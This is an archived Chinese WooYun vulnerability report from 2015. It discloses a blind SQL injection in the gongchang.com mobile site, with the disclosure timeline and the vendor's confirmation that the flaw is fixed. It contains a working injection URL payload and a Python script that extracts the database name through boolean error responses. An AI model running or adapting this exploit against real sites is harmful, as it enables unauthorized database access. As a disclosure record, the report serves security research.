当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0109265

漏洞标题:世界工厂网一处特别隐蔽的SQL注入漏洞(附脚本)

相关厂商:世界工厂网

漏洞作者: netwind

提交时间:2015-04-21 11:44

修复时间:2015-04-22 10:46

公开时间:2015-04-22 10:46

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-21: 细节已通知厂商并且等待厂商处理中
2015-04-21: 厂商已经确认,细节仅向厂商公开
2015-04-22: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

世界工厂网一处特别隐蔽的SQL注入漏洞

详细说明:

http://m.gongchang.com/shop/syg'or(updatexml(1,if(1=1,1,0x22),1))or'/
1=1返回404
1=2返回500
判断存在注入
验证脚本

#coding=utf-8
import sys,urllib2
from optparse import OptionParser
from urllib2 import Request,urlopen,URLError,HTTPError
import urllib
result=''
def request(URL):
#print URL
user_agent = { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10' }
req = urllib2.Request(URL, None, user_agent)

try:
request = urllib2.urlopen(req)

except HTTPError, e:

if e.code == 500:

return '500Runtime Error'


if e.code == 404:

return '404Runtime Error'

except URLError, e:
#print('[!] We failed to reach a server.')
#print('[!] Reason: ' + str(e.reason))
sys.exit(1)

return request.read()
def binary_sqli(left, right, index):
global result
while 1:
mid = (left + right)/2
if mid == left:
result += chr(mid)
print 'db: ' ,result
break
payload = "'or(updatexml(1,if(mid(database(),%s,1)>%s,1,0x22),1))or'/" % (index, hex(mid))
#param = {'pid': payload}
html = request('http://m.gongchang.com/m/shop/syg'+payload)
print ('http://m.gongchang.com/m/shop/syg'+payload)

verify = '500'
if verify in html:
right = mid
else:
left = mid


if __name__ == '__main__':
for i in range(1,32):
binary_sqli(32, 127, i)

漏洞证明:

获取数据库用户:

1.jpg


获取数据名:

2.jpg

修复方案:

参数严格过滤

版权声明:转载请注明来源 netwind@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-04-21 11:46

厂商回复:

我们将对该漏洞进行修复!

最新状态:

2015-04-22:已修复


漏洞评价:

评论

  1. 2015-04-21 17:04 | 封停 ( 实习白帽子 | Rank:38 漏洞数:8 | 求老中医指路)

    哥么,你是和sql注入杠上了啊……

  2. 2015-04-22 15:30 | 有归于无 ( 实习白帽子 | Rank:84 漏洞数:15 | 有归于无)

    验证脚本很不错,谢谢

  3. 2015-04-23 11:27 | 三浪兄 ( 路人 | Rank:20 漏洞数:6 | I am a singer-songwriter.)

    我来看脚本。

  4. 2015-04-24 09:22 | 胡小树 ( 实习白帽子 | Rank:60 漏洞数:11 | 我是一颗小小树)

    我想问,这么隐蔽,洞主怎么找的啊,

  5. 2015-04-24 22:44 | tSt ( 路人 | Rank:27 漏洞数:7 | 在开发里运维最强,运维里网络最强,网络里...)

    我想问,这么隐蔽,洞主怎么找的啊

  6. 2015-05-07 12:57 | 稀饭粥 ( 路人 | Rank:8 漏洞数:1 | WSNhacking)

    学习了!